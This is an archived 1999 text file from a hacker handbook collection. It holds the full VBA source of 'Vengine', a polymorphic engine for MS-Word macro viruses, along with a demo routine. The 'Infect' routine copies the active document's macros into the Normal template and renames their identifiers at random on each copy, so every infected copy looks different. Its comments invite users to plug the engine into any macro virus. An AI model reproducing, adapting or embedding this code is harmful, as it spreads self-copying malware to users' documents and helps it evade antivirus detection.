home *** CD-ROM | disk | FTP | other *** search
/ Hackers Handbook - Millenium Edition / Hackers Handbook.iso / library / hack99 / vengine.txt < prev    next >
Encoding:
Text File  |  1999-04-11  |  4.6 KB  |  174 lines

  1. ' Vengine - polymorphizer for MS-Word macro viruses
  2. ' Coded by VeggieTailz
  3. '
  4. ' This engine can be used to polymorphize any MS-Word macro virus.
  5. '
  6. ' The Vengine concept was inspired by Nick FitzGerald's asinine posting
  7. ' on BugTraq, dated 3/29/99 and archived at geek-girl.com.
  8. '
  9. Private Zy7td() As String
  10. Private QC2cz() As String
  11. Private K1j() As String
  12. Private Nv4cl As String
  13. Private Sub Example()
  14.   ' As a demo, we'll copy the current macros to the template.  After running
  15.   ' this example (make sure this is the ActiveDocument!), examine the MS-Word
  16.   ' template.  It will contain a scrambled (but still functional) version of
  17.   ' this program.
  18.   Set Source = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule
  19.   Set Dest = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule
  20.   
  21.   ' The "Infect" sub copies the macros from "Source" to "Dest", scrambling
  22.   ' them in the process.  The contents of Dest are overwritten.
  23.   Infect Source, Dest
  24. End Sub
  25. Private Sub InfectTable()
  26.   ' This table stores the identifiers which will be scrambled.  They can
  27.   ' be any ordinary variable name (even names ending with a suffix like
  28.   ' % or $).  Make your choices carefully tho, as the substitutions
  29.   ' will also be applied to string constants (otherwise the code below
  30.   ' would not get updated).
  31.   ReDim QC2cz(29)  ' don't forget to set the array size!
  32.   QC2cz(1) = "Infect"
  33.   QC2cz(2) = "InfectTable"
  34.   QC2cz(3) = "Zy7td"
  35.   QC2cz(4) = "QC2cz"
  36.   QC2cz(5) = "K1j"
  37.   QC2cz(6) = "Nv4cl"
  38.   QC2cz(7) = "Co6q"
  39.   QC2cz(8) = "X3X"
  40.   QC2cz(9) = "R0e"
  41.   QC2cz(10) = "Tq4tl"
  42.   QC2cz(11) = "G4u"
  43.   QC2cz(12) = "To6dm"
  44.   QC2cz(13) = "Rg4mp"
  45.   QC2cz(14) = "I4h"
  46.   QC2cz(15) = "I6w"
  47.   QC2cz(16) = "Gy0u"
  48.   QC2cz(17) = "S5l"
  49.   QC2cz(18) = "T1g"
  50.   QC2cz(19) = "T1b"
  51.   QC2cz(20) = "Ba6Dk%"
  52.   QC2cz(21) = "X1U%"
  53.   QC2cz(22) = "C6E%"
  54.   QC2cz(23) = "C6z%"
  55.   QC2cz(24) = "X6q"
  56.   QC2cz(25) = "XM2wj"
  57.   QC2cz(26) = "Yx1h"
  58.   QC2cz(27) = "Sh6k"
  59.   QC2cz(28) = "T2w"
  60.   QC2cz(29) = "Ky8c"
  61.   ' [add your entries here!]
  62. End Sub
  63. Private Sub Infect(Co6q, X3X)
  64. ReDim Zy7td(0)
  65. ReDim QC2cz(0)
  66. ReDim K1j(0)
  67. Dim R0e As String
  68. For I = 1 To Co6q.CountOfLines
  69. R0e = Co6q.Lines(I, 1)
  70. If Trim(R0e) <> "" Then T2w R0e, 1
  71. Next I
  72. Tq4tl
  73. X3X.DeleteLines 1, X3X.CountOfLines
  74. X3X.AddFromString ""
  75. For I = 1 To Co6q.CountOfLines
  76. R0e = Co6q.Lines(I, 1)
  77. If Trim(R0e) <> "" Then
  78. Nv4cl = ""
  79. T2w R0e, 2
  80. If Rnd < 0.1 Then Nv4cl = Nv4cl + " ' " + "T1b"
  81. X3X.InsertLines X3X.CountOfLines + 1, Nv4cl
  82. End If
  83. Next I
  84. End Sub
  85. Private Sub Sh6k(To6dm As String, Rg4mp As Integer)
  86. G4u = Left$(To6dm, 1) = Chr$(34) And Right$(To6dm, 1) = Chr$(34) And Len(To6dm) > 2
  87. If G4u Then To6dm = Mid$(To6dm, 2, Len(To6dm) - 2)
  88. I4h = UCase$(Left$(To6dm, 1)) >= "A" And UCase$(Left$(To6dm, 1)) <= "Z"
  89. Ky8c = UCase$(Right$(To6dm, 1))
  90. If Rg4mp = 1 Then
  91. If I4h Then
  92. For Ba6Dk% = 1 To UBound(Zy7td)
  93. If To6dm = Zy7td(Ba6Dk%) Then Exit Sub
  94. Next Ba6Dk%
  95. ReDim Preserve Zy7td(UBound(Zy7td) + 1)
  96. Zy7td(UBound(Zy7td)) = To6dm
  97. End If
  98. Exit Sub
  99. End If
  100. If I4h Then
  101. For Ba6Dk% = 1 To UBound(QC2cz)
  102. If To6dm = QC2cz(Ba6Dk%) Then
  103. To6dm = K1j(Ba6Dk%)
  104. If Ky8c < "A" Or Ky8c > "Z" Then To6dm = To6dm + Ky8c
  105. Exit For
  106. End If
  107. Next Ba6Dk%
  108. End If
  109. If G4u Then To6dm = Chr$(34) + To6dm + Chr$(34)
  110. If Nv4cl <> "" Then
  111. If Right$(Nv4cl, 1) <> "." And Left$(To6dm, 1) <> "." Then To6dm = " " + To6dm
  112. End If
  113. Nv4cl = Nv4cl + To6dm
  114. End Sub
  115. Private Sub Tq4tl()
  116. InfectTable
  117. ReDim Preserve K1j(UBound(QC2cz))
  118. For Ba6Dk% = 1 To UBound(K1j)
  119. I6w:
  120. Gy0u = Int(Rnd * 3) + 3
  121. S5l = ""
  122. For X1U% = 1 To Gy0u
  123. T1g = Chr$(97 + Int(Rnd * 26))
  124. If X1U% = 1 Or Rnd > 0.8 Then T1g = UCase$(T1g)
  125. If X1U% = 1 + Int(Gy0u / 2) Then T1g = Chr$(48 + Rnd * 9)
  126. S5l = S5l + T1g
  127. Next X1U%
  128. For X1U% = 1 To UBound(Zy7td)
  129. If S5l = Zy7td(X1U%) Then GoTo I6w
  130. Next X1U%
  131. For X1U% = 1 To Ba6Dk% - 1
  132. If S5l = K1j(X1U%) Then GoTo I6w
  133. Next X1U%
  134. K1j(Ba6Dk%) = S5l
  135. Next Ba6Dk%
  136. End Sub
  137. Private Sub T2w(R0e As String, Rg4mp As Integer)
  138. Dim To6dm As String
  139. Dim T1g As String
  140. Do
  141. R0e = LTrim(R0e)
  142. XM2wj = False
  143. If Len(R0e) = 0 Then Exit Do
  144. C6E% = 1
  145. T1g = UCase$(Left$(R0e, 1))
  146. X6q = (T1g >= "A" And T1g <= "Z") Or (T1g >= "0" And T1g <= "9")
  147. Do
  148. If C6E% > Len(R0e) Then Exit Do
  149. T1g = Mid$(R0e, C6E%, 1)
  150. If T1g = Chr$(34) Then
  151. If XM2wj Then C6E% = C6E% + 1: Exit Do
  152. XM2wj = True
  153. End If
  154. If Not XM2wj Then
  155. If X6q Then
  156. If T1g = "$" Or T1g = "%" Or T1g = "&" Then C6E% = C6E% + 1: Exit Do
  157. If T1g = "!" Or T1g = "#" Then C6E% = C6E% + 1: Exit Do
  158. End If
  159. Yx1h = UCase$(T1g) >= "A" And UCase$(T1g) <= "Z"
  160. Yx1h = Yx1h Or (T1g >= "0" And T1g <= "9") Or T1g = "_"
  161. If X6q <> Yx1h Then Exit Do
  162. If T1g < Chr$(33) Or T1g > Chr$(127) Then Exit Do
  163. End If
  164. C6E% = C6E% + 1
  165. Loop
  166. To6dm = Left$(R0e, C6E% - 1)
  167. R0e = Right$(R0e, Len(R0e) - (C6E% - 1))
  168. If Left$(To6dm, 1) = "'" Or To6dm = "Rem" Then Exit Do
  169. Sh6k To6dm, Rg4mp
  170. Loop
  171. End Sub
  172.  
  173.  
  174.